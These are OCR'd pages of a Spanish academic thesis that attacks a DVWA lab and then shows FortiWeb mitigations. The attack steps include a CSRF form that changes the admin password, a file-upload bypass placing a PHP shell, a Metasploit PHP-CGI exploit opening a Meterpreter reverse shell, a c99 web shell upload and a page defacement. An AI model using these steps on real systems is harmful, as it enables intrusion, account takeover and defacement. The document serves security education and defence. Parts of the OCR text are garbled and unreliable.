T Vulnerability: Cross Site Request Forgery (CSRF)

Instructions .
Change your admin password:
sewp |
New password:
Brute Force
Command Execution | Confirm new password:
LAAAAAAAAAAAAAAAAAAAAAJ Change
File Inclusi |
ESChviestion | More info v
[® L3 inspector [ Consola (O Depurador {} Editordeestilc (& Rendimiento £ Memoria = Red B Almacenamiento ¥ Accesibilidad 0+ X
+ Tded O GET © / @ Regls Distrbucién  Cakulada  Cambios  Animacicw
<hi>Vulnerability: Cross Site Request Forgery (CSRF)</hl> P Estos de fito LT s
v <div class="vulnerable_code_area™ =
<h3Change your admin password:</h3> elenento £} { incorporads (@)
T P S——————————r— Form, Fieldset { main.css:37
orm action="#" nethod-"GET"> | .
m margin: » 9;
ew passward e
padding
<br> border-style: » none;
<input type="password" autocomplete="off" name-"passuord_new">
<br> )
Confi Heredada de divimain_body
onfirm new password
<br> divimain_body 1 { main.css:141
<input type="password” autocomplete="oFf" name-"password_conf"> font-size: 13px
<br> b
<input type="submit" value="Change” name="Change"> Heredada de divircontainer
</form> diviicontainer 1 { main.css: 118
<fdiv> I font-size: 13px;

i
Heredada de hod:

Figura 82. Copiando codigo html

El cédigo copiado lo guardaremos en un notepad con extension .html
y como visualizamos muestra los campos para poder realizar el cambio de
contrasefia en el sistema DVWA.

&3 FortiWeb - FortiWeb X | 23 192.168.1.1:8090/login X | [B Damn Vulnerable Web App (D' X | /Cy/Users/carlitos/Desktop/esrihtn: X = -8
¢ @ @ filey}/C:/Users/carlitos/Desktop/csrf html html e [hd In @ =
New password:
Confirm new password:
| csrf: Bloc de notas = =
Change

Archivo Edicién Formato Ver Ayuda

<form action="#" method="GET">

New password:

<br>

<input type="password" autocomplete="off" name="password_new">
<br>

Confirm new password:

<br>

<input type="password" autocomplete="off" name="password_conf">
<br>

<input type="submit" value="Change" name="Change"»
</form>

J 9 H_ | i L, 16/03/2019
Figura 83. Creando archivo html malicioso
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Editamos el archivo csrf.html y le pondremos la clave hacker por

defecto, ahora este archivo es enviado a un usuario.

22 Fortiweb - Fortiweb X | #2F 192.168.1.1:8090/login X IDamnVuInelahleWehApp-fL X | =+ - g
& ¢ @ @ £ 192.168.1.1/dvwa/vulnerabilities/csri/ o @y m o =
. | "
= Vulnerability: Cross Site Request Forgery (CSRF)

M Change your admin password:

New password:
BrusFoce |
Command Execution ‘ Confirm new password.
é Change
File Inclusion

SQL Injection \

SQL Injection (Blind)

3 — =
Upload | cstf: Bloc de notas

More info

Archivo Edid6n Formato Ver Ayuda

XSS reflected
‘ <form action="#" method="GET">

XSS stored New password:

<br>

DVWA Security <;nput type="password” autocomplete="off" name="password_new" value="hacker">
<br>

PHP Info Confirm new password:

About ‘ <brs
<input type="password" autocomplete="off" name="password_conf" value="hacker">
<br>

Logout ‘ <input type="submit" value="Change" name="Change">
</form>

Username: admin
Security Level: low
PHPIDS: disabled

v

b s
S R s
Figura 84. Agregando clave en archivo malicioso
2} FortiWeb - FortiWeb X | &3 192.168.1.1:8090/login X B Damn Vulnerable Web App (D' X /C:/Users/carlitos/Desktop/csrihir X oE -0
C o @ filey/f/C:fUsers/carlitos/Desktop/csrf html e w N @ =
New password:
LLLLIL]
Confirm new password:
ssssee
Change

Y i 032
UM R e

Figura 85. Ejecucion del archivo malicioso

Para tener listo nuestro archivo csrf.html vamos a copiar la url original

y veremos que sucede.
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423 FortiWeb - FortiWeb. X | 825 192.168.1.1:8090/login X [B] Damn Vulnerable Web App (L' X | [CyfUsersfcarlitos/Desktopfesrfhtn X ‘+ - g “l

€)> e (OF 4152.168.1.1/cvwajvulnerabilities/csri v o @ In o =
Deshacer
| c

Cortar

(s . Vulnerabi ™ ite Request Forgery (CSRF)

egare ir
Change you -

gey Borrar
Seleccionar todo
New password:
Confirm new password:

Change

File Inclusi |
SQL Injection

SQL Injection (Blind)
Upload

XSS reflected |

XSS stored
DVWA Security

PHP Info |

More info

Username: admin View Source  View Help

Security Level: low
PHPIDS: disabled

Figura 86. Copiando url del sistema web

B csiintm B3 \

H<form action="http://192.168.1.1/dvwa/vulnerabilities/csrf/?" method="GET">
New password:

<br>

<input type="password" autocomplete="off" name="password new" value="hacker">
<br>

Confirm new password:

<br>

g <input type="password" autocomplete="off" name="password conf" value="hacker">
9 <br>

10 <input type="submit" value="Change" name="Change">

11 -</form>

a2

S s I TN

Figura 87. Modificando archivo malicioso

En este ejemplo se hard uso de la ingenieria social y la confianza que
el usuario tiene en el atacante para que haga clic en el enlace al documento

HTML que llevara a cabo el ataque CSRF.

En caso de no contar con esta ventaja, se podrian emplear otros
métodos como por ejemplo combinando un ataque Man in the middle con DNS
Spoofing para servirle una web falsa enlazando con nuestro documento HTML

en lugar del sitio web original al que pretendia acceder el usuario.

El usuario al recibir el archivo csrf.html ve el formulario y hace clic en

change realizando correctamente el cambio ya definido en el archivo.
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£23 TortiWeb - FortiWeb

<« ¢ @

Home
Instructions
Setup

Brute Force

File Inclusion

SQL Injection

SQL Injection (Blind)
Upload

XSS reflected

XSS stored

DVWA Security
PHP Info
About

X 423 192.168.1.1:80907login

® # 192.168.1.1/dvwa/vulnerabilities/csrf/?password_new-hacker&password conf-hacker&Change~-Change

Command Execution

X [B Damn Vulnerable Web App (0 X | [l Damn Vulnerable Web App (0" X | +

. @

Vulnerability: Cross Site Request Forgery (CSRF)

Change your admin password:

New password:
Confirm new password:

Change

Pazsword Changed

More info

v

2 038
SO L ——

Figura 88. Usuario ejecuta el archivo malicioso, ejecutandose con éxito

Ahora el usuario al intentar acceder con su clave vemos como no logra

realizar su ingreso cominmente.

mERY o

@ 4pedidos 347 KB /3,32 KBtransferido  Finalizado: 435 ms ~ DOMContentloaded: 31

2% FortiWeb - FortiWeb X | &2F 192.168.1.1:8090/login X Damn Vulnerable Web App (DVW/ X + -a
&« > C @ ® # 192.168.1.1/dvwa/loginphp It o N o =
DVMA/ ‘
Username
Password
Login
Login failed
v
[ O3 Inspector [ Consola O Depurador  {} Editordeestilo @& Rendimiento £k Memoria = Red & Almacenamiento 4 Accesibilidad 0] - X
W Fltrar URLs Il Todo IS XHR Tipografia Imagenes Medios WS Otro || Registros persistentes [ ] Deshabilltar caché  Sinregulacion® HAR S
Estado Método Dominio A Tipo Tran @) Encabezados  Cookies  Pardmetros  Respuesta  Tiempo
3 £ 19216811 .. document  html 168KB Filtrar pardmetros pedidos
GET 19216811 B log... document  html 164kp  ~ Datos de formulario
[200] 3 19216810 B log sheet  css en caché peemame. admin
’ password: password
GET & 216811 [ fai.. img html en caché Logir: Lagin

S

B 0:52
-1
B oo

Figura 89. Usuario no puede iniciar sesion con sus credenciales

Ahora intentamos ingresar con el clave hacker e ingresamos

correctamente.

64



Universidad de Buenos Aires — Especializacion en Seguridad Informatica

23 FortiWeb - FortiWeb X | €§ 192.168.1.1:8090/login X lDamn Vulnerable Web App (' X =+ -0
« e @ ® 192.168.1.1/dvwa/index php B ~©% i @m =
A s
-
o)
N
[ Welcome to Damn Vulnerable Web App!
Instructions Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are
to be an aid for security professionals to test their skills and tools in a legal environment, help web developers
Setup better understand the processes of securing web applications and aid teachers/students to teachleam web
application security in a class room environment.
Bruke Force WARNING!
% Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or
CSRF any internet facing web server as it will be compromised. We recommend downloading and installing
File Inclusion onto a local machine inside your LAN which is used solely for testing.
saL Injection Disclaimer
§ | gt Dot O Dopornir () Flirdamtle @ oo () Mermaia. = fod © Abmacraionto 9 Acnibid £ - x
W7 Filtrar I Todo (EEMEEY 55 XHR Tipogiafia Imégenes Medios WS Oto [ |Registios persistentes [ |Deshabiliar caché  Sinrequlacion 3 HAR ¢
Estado Método Dominio A Causa Tipo Tran B Encabezados Cookies  Parémetros  Respuesta  Tiempo
3 f 19216811 log... document  himl 486 KB Filtrar parémetros pedidos
GET & 19216811 B ind.. document html 4pakp ¥ Datos de formulario
[200] o3 19216811 B mai.. stlesheet  css en caché IL];M‘W."F. :.m
Login: Login
@ 3pedidos  1281KB/9,67 KB transferido | Finalizado: 588 ms  DOMContentl oaded
- 053
R
Figura 90. El atacante ingresa con las nuevas credenciales
14.2 Mitigacion de falsificacion de peticiones entre sitios
cruzados CSRF
Fortiweb nos permite protegernos de estos ataques con las
firmas que son actualizadas mediante Fortiguard, también podemos unir
reglas de acceso a determinadas url y forzar un orden logico. A continuacion,
veremos como Fortiweb bloquea el ataque csrf.
[®] Damn Vulnerable Web App ([ X &2} FortiWeb - FortiWeb X | The URL you requested has been [ X | 4 - ol
<« c @ [O]'192.168.1.1/dvwa/vulnerabilities/csri/?password_new=hacker&password_conf=hacker&Chan Va3 ) ﬁ‘ I @ e =

Web Page Blocked!
@ The page cannot be displayed. Please contact the administrator for additional information

URL: 192.168.1.1/dvwa/vulnerabilities/csrf/

Client IP: 192.168.1.2
Attack 1D: 20000024
Message ID: 000000001102

Figura 91. Bloqueo de FortiWeb
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Vemos las firmas seleccionadas para proteccion de este tipo de

l Damn Vulnerable Web App (D' X | £23 FortiWeb - FortiWeb X | The URLyou requested has beent X | =+ -0
<« C @ ® 192.168.1.1:1044/index B0% e g n o e =
£22 FortiWebVM FortiWeb
& System » A~ Edit Signature Policy
i FortiView >
& User > Name DVWA_Signatures
E] Policy > Custom Signature Group Custom_signatures_dvwa AN O]
5 Server Objects » Comments o
Q‘Appl\’cat\on Delivery >
& WebProtection . Name Status False Positive Mitigation Action Block Period Severity Trigger Action
Cross Site Scripting O Alert & Deny 60 High
Known Attacks %
Cross Site Scripting (Extended) O Alert & Deny 60 Medium
Custom Signature 5QL Injection © © Period Block 20 High
Advanced Protection N SQU Injection (Extended) © O Period Black 60 Medium
Cookie Security SQL Injection (Syntax Based Detection) © Period Block 60 High
Input Validation > Generic Attacks © Alert & Deny 60 High
Protocol Generic Attacks(Extended) O Alert 60 Medium
Access ’ Known Exploits © Alert & Deny 60 High
R etedion Trojans © Alert & Deny & High
Web Anti-Defacement
Bad Robot O Alert & Deny 60 Low
B FTP Security >
Information Disclosure © Erase & Alert 60 High
U DoS Protection >
@ Personally Identifiable Information O Alert & Deny 60 High
2, IP Protection >
O Tracking N Detection Threshold 1
= Auto Learn >
@ Web Vulnerability Scan > v g Cancel Signature Details

Figura 92. Activando firmas de seguridad

15. Ataques de uso de componentes con vulnerabilidades
conocidas

15.1 Uso de componentes con vulnerabilidades conocidas

Puede sorprendernos saber que OWASP no considera que el
software sin parche sea la amenaza mas grave. Solo ocupa el noveno lugar
en la lista de sus 10 amenazas de seguridad mas serias, a pesar de que es
una de las mas comunes. Este ranking se debe en parte a que es el mas facil
de defender. Si FortiWeb esta buscando exploits y troyanos conocidos, y esta
bloqueando las fugas HTTPS de Heartbleed, entonces esto le permite un poco
de tiempo para parchear sus servidores. Las actualizaciones automaticas en
muchos componentes de software de servidor también hacen que esta

amenaza sea facil de combatir.

Ahora vamos a subir un cédigo malicioso, como por ejemplo una shell

PHP, por medio de un formulario que originalmente ha sido creado para
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permitir Unicamente la subida de tipos de archivos determinados

(generalmente multimedia como imagenes o videos), pudiendo llegar a
convertirse en una puerta abierta a todo el sistema donde esté alojada la
pagina web. Este tipo de formularios de subida son cominmente encontrados
en redes sociales, foros, blogs e incluso en las bancas electrénicas de algunos
bancos, en este caso vamos atacar la libreria usada en PHP llamada Upload
donde vemos que no existe una correcta validacion de los archivos que se
suben al servidor, como veremos subimos el archivo csrf.html y el archivo

urls dvwa.txt.

<?php
if (isset($_POST['Upload']l)) {

$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename( $%_FILES['uploaded']['name’']);

if(!move_uploaded_file($_FILES[ 'uploaded'][ 'tmp_name'], $target_path)) {
echo '<pre>"';
echo 'Your image was not uploaded.';
echo '</pre>';
T else {
echo '<pre>"';

echo $target_path . ' succesfully uploaded!’;
echo '</pre>"';

?>

Figura 93. Codigo php en nivel low

Vulnerable Web App (DV/ X < -8

€« C  ® Noseguro | 192.168.1.1/dvwa/vulnerabilities/upload/# B O ¢

P Vulnerability: File Upload
m Choose an image to upload:

Setup | ionar archivo No se eligi6 archivo

Brte Force Lipicad

Command Execution ../ ../hackable/uploads/csrf.html succesfully uploaded!
CSRF

File Inclusion More info
SQL Injection

SQL Injection (Blind)

Upoad |

XSS reflected
XSS stored

DVWA Security
PHP Info
About

Figura 94. Carga correcta de archivo malicioso
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[B Damn Vulnerable Web Ap X 4+ -8
& C  ® Nosequro | 192.168.1.1/dvwa/vulnerabilities/upload/# & % 0 :
)
=/
e Vulnerability: File Upload
% Choose an image to upload:
Setup | ionar archivo | No se eligié archivo
Brute Force Upjoat)
Command Execution ../../hackable/uploads/urls dvwa.txt succesfully uploaded!
CSRF

Filelnclusion | More info
SQLinjection |
SO njection (Blind) |
vpload |

XSS reflected
XSS stored

DVWA Security
PHP Info

Figura 95. Carga correcta de archivo malicioso

[B] Damn Vulnerable Web App (V0 X [} 192.168.1.1/dwwa//hackablefupl X -a
< C O Noseguro | 192.168.1.1/dvwa//hackable/uploads/urls%20dvwa.txt b d e :

http://192.168.1.1/dvwa/login.php
http://192.168.1.1/dvwa/
http://1%2.168.1.1/dvwa/instructions . php
http://192.168.1.1/dvwa/setup.php
http://192.168.1.1/dvwa/vulnerabilities/brute/
http://192.168.1.1/dvwa/vulnerabilities/exec/
http://192.168.1.1/dvwa/vulnerabilities/csrf/
http://192.168.1.1/dvwa/vulnerabilities/i/?page=include.php
http://192.168.1.1/dvwa/vulnerabilities/sqli/
http://192.168.1.1/dvwa/vulnerabilities/sqli_blind/
http://192.168.1.1/dvwa/vulnerabilities/upload/
http://192.168.1.1/dvwa/vulnerabilities/xss_r/
http://192.168.1.1/dvwa/vulnerabilities/xss_s/
http://192.168.1.1/dvwa/security.php
http://192.168.1.1/dvwa/phpinfo.php
http://182.168.1.1/dvwa/about.php

username=admin&password=carlosélogin=Login

l-e B b p o

Figura 96. Viendo contenido de archivo malicioso

Ahora vamos a subir un archivo malicioso llamado .php, como
veremos en la siguiente imagen muestra un mensaje de error a pesar de estar

en nivel de seguridad bajo, para poder subir el archivo al servidor vamos a
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modificar el request.

£33 FortiWeb - FortiWeb X [B] Damn Vulnerable Web App (0° X | =+ - B
€ cC @ ® 192.168.1.1/dvwa/vulnerabilities/upload/4 W e @ Y oo & =

T Vulnerability: File Upload

et Choose an image to upload:
Setup | Examinar...  shell php
Brute

Force Upload
‘Command Execution Your image was not uploaded.

¥ inchigion More info

Username: admin View Source  View Help

Security Level: high
PHPIDS: disabled

Figura 97. Error al subir archivo php

Para modificar la solicitud request vamos a capturar el trafico
con la herramienta Burp Suite, al momento de subir el archivo .php vamos a
modificar el request agregando en content-type application/x-php , como se
ve el archivo se carga correctamente siendo una puerta trasera para futuros

ataques.

e 5 v L X 9 B Burp e Free Edition v1.6.32

Burp Intruder Repeater Windon_Help
_ | [Tarem Speder | Scannwr | ruder | Repestar | Sequencer | Decoder | comparsr | Exander | options | alens | coz |
4 HTTR bistory | WebSotkets histeey | Options |

[ i G5 e emrl oy ot

B 0amn vulnerable WebA... x | 4
& € @ 16001 cliE O 8 48

D!

& a Host Methed | URL

Params |Edited | Status | Length | MIME type | Extension | Tale
T - rareTvTETSTTE ST o e

&

& hepiszisll S D om0 ems Darn vl
L hittp 1152 1681 1 7] 5] 200 4826 HTML Dann idr
FTTTR o1 ] httpi192 1681 1 =] D 200 4621 HT Damn vidr
Home | Vulnerability: File Upload & hepisziesll O 0 m ;W Gamn Vi
‘ & by O D om0 w2 Wme Bamn ik
Instructions 2 @ b @ 0 m s W Dan Vi
B e Tt 5 b [ O 2w s Hme D Yk
Senup Browse.. | Mo fie sslcted M heps216911 ¥ m ez HA Damn vl
T b 5216811 GET  dewaluinerabiltesivelond! C O m W Gamn Vi
Upload T hepi19ziesll GET  Mwaunersbiiesnglondt O D e % W Garn v
Brue Force \ - s FOST Fimapinanbibesialosd @ @ m a wme podlitoed
Command Execution /.. /hackable/uploads/shelll.php succesfully uploaded! M hepi1s218811 POST | Fdvuapinerabitesiuplose U @ m s W Oarnn vk
7S hepiszisall GET  fdewafrstructions 8 B v

File Inclusion More info [ original raquest | Edted request | Response |
[ aw [ params [ readars | rex |

SQUinjection (Blng) | =
sosT

erabiliesjupload HTT®/1 1
Host

R User-Agent Mezilafs.0 Ubuntu; Linux 685 rv43.0) Gecka/20100101 Firefow43.0
XSS stored Accest et appAcaton b, app Ao Q=0 5.4
Acceptlangurge S eng=05

AcceptEncadng gip, deflate
DVWA Security T 1
Refares g 71921681 dvwarinerabiiesissloads
PHP Info. Coukie security=low, PHPSESSD=4 2881 0cf7560b13458dd7a855 daeaddd
Connection dose
About Cantent:Type matipartiform data: applicationix-phe: bourdary=" 20155568417833126
518

ContertLength

78331281418172068047 i

Usemame: admin View Saurce | View Help AK_FILE_SIZE" r
Security Level: low
PHPIDS: disatied
68417833126141817208047
_ . o
783312614181 7208047
ame="pload"
Upload
e -~ 015556841 743312514181 7208047 -
<C S PE) b
B E @ F oursuteFreckdtionv1 632 @ Damn Voinerable Web App (DVWA)¥1.07 P50

Figura 98. Interceptando trafico y modificando el request
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Ahora vamos a realizar un ataque con metasploit desde Kali
Linux atacando una vulnerabilidad para PHP que afecta a instalaciones que

usan el intérprete CGI.

( )0 00 M3 T4 SP Le 1T
Aiee, Killing Interrupt handler

=[ metasploit v4.16.61-dev ]
1773 exploits - 1011 auxiliary - 307 post ]

=[ 538 payloads - 41 encoders - 10 nops |
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > search php cgi
[!] Module database cache not built yet, using slow search

Matching Modules

[ETI Disclosure Date Rank Description

exploit/multi/http/php cgi arg injection 2012-05-03 excellent PHP CGI Argument Injection

msf > use exploit/multi/http/php cgi arg injection
msf exploit( ) > set RHOST 192.168.1.1

RHOST => 192.168.1.1

msf exploit( ) > set LHOST 192.168.1.15

LHOST => 192.168.1.15

msf exploit( ) > set payload php/meterpreter/reverse tcp
payload => php/meterpreter/reverse tcp

msf exploit( ) > exploit]]

Figura 99. Ejecutamos exploit

exploit/multi/http/php_cgi arg injection 2012-05-03 excellent PHP CGI Argument Injection

msf > use exploit/multi/http/php cgi arg injection

msf exploit( ) > set RHOST 192.168.1.1

RHOST => 192.168.1.1

msf exploit( ) > set LHOST 192.168.1.15

LHOST => 192.168.1.15

msf exploit( ) > set payload php/meterpreter/reverse tcp
payload => php/meterpreter/reverse tcp

msf exploit( ) > exploit

[#] Started reverse TCP handler on 192.168.1.15:4444
[*] Sending stage (37775 bytes) to 192.168.1.1
[*] Meterpreter session 1 opened (192.168.1.15:4444 -> 192.168.1.1:50449) at 2019-04-21 23:56:29 -0300

meterpreter > 1s
sting: /var/www

Mode i Last modified Name

41777/ rwxrwxrwx ir 2012-05-20 s dav

40755/ rwxr-xr- i 2012-05-20 552 dvwa
100644/rw-r- i 2012-05-20 S index.php
40755/ rwxr-xr-x - ir 2012-05-20 : mutillidae
40755/ rwxr-xr-x ir 2012-05-20 g phpMyAdmin
100644/rw-r- - i 2012-05-20 2223 phpinfo.php
40755/ rwxr-xr-x 2012-05-20 . test

40775/ rwXrwxr-x 2012-05-20 5 tikiwiki
40775/ rwxrwxr-x 2012-05-20 s tikiwiki-old
40755/ rwxr-xr-x 2012-05-20 2223 twiki

meterpreter > pwd
/var/www
meterpreter > |j

Figura 100. Obtenemos conexion con el servidor web
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Como vemos logramos ejecutar un shell en el servidor y podemos ver
los directorios y en que carpeta actualmente estamos, ahora subiremos el
archivo c99.php el cual es un shell php que nos permite usar diferentes
funciones para manejar un servidor sin necesidad de entrar en su panel de

control.

upload '/root/Escritorio/c99.php' /var/www/
/root/Escritorio/c99.php -> /var/www/
Jroot/Escritorio/c99.php -= /var/www//c99.php

Name
-8300 c¢99.php
-8300 dav
-0300 dvwa
-8300 index.php
3 -8300 mutillidae
-8300 phpMyAdmin
3 -0300 phpinfo.php
-0300 es
-0300
3 -0300
3 -0300

]
o

@ W

665712
4096 2012-05-26
4096 2012-05-26
891 2012-085-2
4096 2012-085-2
X 4096 2012-05-26
100644/ rw-r- 19 2012-05-26
s 4096 2012-05-.
20480 2012-05-.
40775/ rwXrwxr-> 20480 2012-05-26
40755/ rwx 4096 2012-05-26

MM NN WU WA

RS I LS LS S S I S I LR )

[N

Figura 101. Subiendo shell en el servidor

Ahora ingresaremos al shell donde vemos los directorios del servidor
web, a continuacion, vamos a modificar los permisos del archivo login.php
dentro de la carpeta DVWA.

192.168.1.1 - phpshell - Mozilla Firefox [- O <]
192.168.1.1 - phpshell x| +

€ (] 192.168.1.1/c99.php El| ¢ Search wBa ¥+ &

Most Visitedv ] Offensive Security ", Kali Linux % Kali Docs *\ Kali Tools % Exploit-DB W Aircrack-ng gl Kali Forums ‘s, NetHunter ", Kali Training @ Getting Started

1¢99Shell v. 1.0 pre-release build #16!

. SQL PHP-code Update Feedback Self remove Logout
Owned by hacker

Listing folder (3 files and 8 folders):

Owner/ Perms
drwxr-xr-x

phpinfo. php

Selectall | [ Unselectall cted [ [ Confirm |
Figura 102. Ejecucion de shell desde Kali Linux
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ece

192.168.1.1 - phpshell - Mozilla Firefox

/19216811 -phpshell % | +
2 E1 Search e ¥ A& Q9

sort=0a C

€ | ¥| ©192.168.1.1/c99.php?act=Is&d=%2Fvar%
[ Most Visitedv [l Offensive Security “, Kali Linux " Kali Docs % Kali Tools % Exploit-DB WyAircrack-ng EAKali Forums “ NetHunter \ Kali Training @ Getting Started
i

M [external) DIR

login. php

logout.php
E php.ini

phpinfo. ph

B robots txt

Confirm

mand execute::

Execute

Enter:

:: Shadow's tricks

Figura 103. Modificando permisos de archivo login.php

Ahora modificamos el archivo login.php para poder realizar un

defacement, al acceder al sistema vemos que el inicio de sesion fue

modificado.
€00

192,168.1.1 - phpshell - Mozilla Firefox

/ 19226811-phpshell x| +
%2F Bl Search wB ¥ &

€ | (D] 192.168.1.1/c99.php?act=f&f=login php&ft=edit&d

& st Visited v ! ENSIVe Securr all Linux all bocs ali Tools & Exploit- IFCrack-ni all Forums etHunter all lrainin etting Starte
B Most Visitedv [flOffensive Security %, Kali Linwx '\ Kali Docs %, Kali Tools  Exploit-DB Iy Aircrack-ng f{Kali Forums ‘S NetHunter " Kali Training @ Getting Started

n.php (2.58 KB)

) B "’w'\

ow el (+) ﬁw (+) | Session (+) | W (+)| sDB (+)

OPATTOFTNT;

HTML headers.

echo "
nl1/DTD/xhtmil-

<!DOCTYPE html PUBLIC )TD XHTML 1.0

<himl xm
d>

<meta hitp-g

Modificando archivo login.php

Figura 104.
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SITIO WEB HACKEADO

< ¢ @

x [+

® £ 192.168.1.1/dvwa/login.phg 80%

Figura 105. Visualizamos que la pagina web fue modificada

15.2 Mitigacién en uso de componentes con vulnerabilidades
conocidas

Fortiweb nos permite la descarga de HTTPS esto se configura
directamente en la politica del servidor. La opciébn de bloquear exploits
conocidos y subidas de troyanos se configura en dos lugares: el conjunto de

firmas y las restricciones de carga de archivos.

Figura 106. Activando firmas de seguridad

B

423 FortiWeb - FortiWeb X  + - g
&« c @ @ 192.168.1.1-1044/index 8% e w n Qe :0
= = FortiWeb-VM FortiWeb
System > ~| EditSignature Policy
S B!
a FortiView 5
& User N Name DVWA Signatures
B folicy N Custom Signature Group Custom signatures_dvwa - 0
5 Server Objects > Comments dhros
++ Application Delivery >
@ WebProtection Name Status False Positive Mitigation Action Block Period Severity Trigger Action
e © )
R — . Cross Site Scripting Alert & Deny 60 High
S Crass Site Scripting (Extended) © Alert & Deny &0 Medium
Clstom Signatire SQL Injection © [ o] Period Block 20 High
Advanced Protection > 5QL Injection (Extended) © © Period Block &0 Medium
Cookie Security SQL Injection (Syntax Based Detection) © Period Block 60 High
Input Validation > Generic Attacks © Alert & Deny 60 High
Protocol Generic Attacks(Extended) © Alert 40 Medium
Access b4 Known Exploits © Alert & Deny 60 High
EaCBi=cton Trojans © Alert & Deny & High
Web Anti-Defacement
Bad Robot © Alert & Deny 60 Low
B FTP Security > "
Information Disclosure © Erase & Alert 60 High
10 DoS Protection b
B rotec ©  Personally Identifiable Information © Alert & Deny 60 High
rotection >
O Tracking s Detection Threshold 1
= AutoLearn >
@ Web VulnerabiityScan > ¥ ﬁ Cancel Signature Details

20:12
21/04/2019
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Ahora vamos a configurar la seguridad de archivos para solo permitir

la carga de archivos JPG y PNG en la url 192.168.1.1/dvwa/ y activando el

antivirus en la politica.

£23 FortiWeb - FortiWeb X |+

&« (IR} ® 192.168.1.1:1044/inclex [T I 44 N & @

£22 FortiWebVM FortiWeb

£ System > A File Security Policy

| FortiView > EditFileSecurity Rule
& User y
B policy , Name File upload_dvwa
&5 Server Objects > Type Block File Types
« Application Delivery » Host Status ©
@ Web Protection v Haost 192.168.1.1 -

Known Attacks 3 Request URL Type [ Regular Expression

Advanced Protection > Request URL fdvwaivulnerabilities/upload/

Cookie Security File Upload Limit 10 (0-102400)(KBytes)

Input Validation v

BT ol

Parameter Validation
N Delet
Hidden Fields FCreateNew [ Delete

Protocol O 1 PG
Access > ‘ 0 2 PNG
XML Protection

Web Anti-Defacement

1 FTP Security >
1 DoS Protection >
!,IPProtection >
0 Tracking >
= Autolearn > v

L[ | é !‘ , 9 e 22/1):?11019
Figura 107. Creacion de regla para permitir la carga de ciertos archivos

2% FortiWeb - FortiWeb X + - 8

D)

& e @ ® 192.168.1.1:1044/index we e @ W n o e

FortiWeb-VM  FortiWeb

1} System > N PEESTNLAE File Security Rule

| FortiView > Edit File Security Policy
& User >
B policy N Name Policy_upload_dvwa
&5 Server Objects > Adtion Alert & Deny -
o Application Delivery > | DlockPeriod 0 1-3600)(Seconds)
& Web Protection v Severity Medium -
Known Attacks > Trigger Action Please Select -
Advanced Protection > Trojan Detection ©
Cookie Security Antivirus Scan ©
Input Validation v SendFiles toFortiSandbox (B

Parameler Validation Scan Attachments inEmail (B

Hidden Fields

OK Cancel

FCreateNew | [#jEdit  WDelete | W Insert | & Move

Protocol
Access > [ D File Security Rule
XML Protection 1 1 File_uplaad dvwa

Web Anti-Defacement

8 FTP Security >
10 Dos Protection b
B 1P Protection >
L Tracking >

= Autolearn > v

20m
21/04/2018

PO

Figura 108. Activando escaner de antivirus y troyanos
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Intentamos subir el archivo urls dvwa.txt y vemos como Fortiweb

bloquea la carga del archivo.

Damn Vulnerable Web App (DVi X~ 4+ -8

€ 2 C O Noseguro | 192.168.1.1/dvwa/vulnerabilities/upload oo % O
DViA)

e Vulnerability: File Upload
é{nﬂmcﬁm Choose an image to upload:

Setup Seleccionar archivo |urls dvwa.txt

Brute Force Upload
Command Execution
CSRE More info
File Inclusion
SQL Injection
SQL Injection (Blind)

(Upload |
XS6 reflected

XSS stored

DVWA Security
PHP Info
About

Logout

Figura 109. Subiendo archivo txt malicioso

[Y The URL you requested has beer X + -8

& C @ Noseguro | 192.168.1.1/dvwa/vulnerabilities/upload/ B oo % O :

Web Page Blocked!
The page cannot be displayed. Please contact the administrator for additional information.

URL: 192.168.1.1/dvwa/vulnerabilities/upload/

Client IP: 192.168.1.2
Attack ID: 20000017
Message ID: 000000001405

ull e‘ n ¢ PO
S

Figura 110. Bloqueo de FortiWeb
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A continuacion, se puede visualizar los logs producidos por el bloqueo

de subir archivos no admitidos y cuando acceden el tamafio maximo

establecido al servidor.

413 FortiWeb - FortiWeb x| + =k
&~ a @ [ 192.168.1.1:1044/index LR U 4 neaD e =
B System > " WIPRS Ageresated Attacks
Mg FortiView * [ Severity Level: ! nformative € AddFilter x @
& User >
. £ Date/Time Policy Source  Destination Threatlevel Action Message HTTPHost
!IPD“W ’ #1 155928 DVWA 19216812 2020205 e Alert_Deny filename [Captura de pantallz (1).png]: lllegal file size 192.168.11 fdvwa/vulnerat ™
£ Server Obects ? |2 155646 DVWA 19216812 2020205 s Alert_Deny filename [Captura de pantalla (1).pngl: legal file size 192.168.1.1 Advwalvulnerat
'}’ADD”&?dD”DE“VﬁW > 3 155334 DVWA 19216812 20.2020.5 = Alert Deny filename [urls dvwa.bct]: lllegal file type 192.168.1.1 fdvwalvulnerat
& WebProtection v 4 155520 DVWA 19216812 20.2020.5 wess Alert Deny filename [urls dvwa.bct]: lllegal file type 192.168.1.1 fdvwalvulnerat
Known Attacks N 5 135338 DVWA 19216812 2020205 s Alert_Deny filename [urls dvwa.tt]: lllegal file type 192.168.1.1 fdvwalvulneral
6 13:47:27 DVWA 19216812 2020205 == Alert Deny filename [urls dvwa.bct]: lllegal file type 192.168.1.1 fdvwalvulnerat
Advanced Protection >
7 154706 DVWA 19216812 2020205 s Alert Deny filename [urls dvwa.bct]: lllegal file type 192.168.1.1 fdvwalvulnerat
ey 8 154639 DVWA  192.168.12 2020205 s Alert Deny filename [urls dvwa.bit: legl file tyoe 192.168.11 /dvwakvulnerat
Input Validation » 9 154633 DVWA 19216812 20.20.20.5 Erase HTTP Header triggered signature ID 080200004 of Signatures policy DVWA Signatures 192.168.1.1 /dvwa/vulnerat
Protocol 10 15:46:33 DVWA 19216812 2020205 wees Erase HTTP Header triggered custom signature rule Custom signature_dvwa 192.168.1.1 fdvwalvulnera ?
pr— R 11 15:46:30 DVWA  192.168.12 2020205 Erase HTTP Header triggered signature ID 080200004 of Signatures policy DVWA Signatures 192.168.1.1 /dvwa/instruct—]
12 15:46:30 DVWA  192168.12 2020205 we= Erase HTTP Header triggered custom signature rule Custom_signature_dvwa 192.168.1.1 fdvwalinstructi
ZRl oo 13 154627 DVWA 19216812 2020205 Alert_Deny Page Access Ruls Violation 19216811 Awafindacoh
Web Anti-Defacement 14 154627 DVWA  192.168.1.2 2020205 Erase HTTP Header triggered signature ID 080200004 of Signatures policy DVWA Signatures 192.168.1.1 /dvwallogin
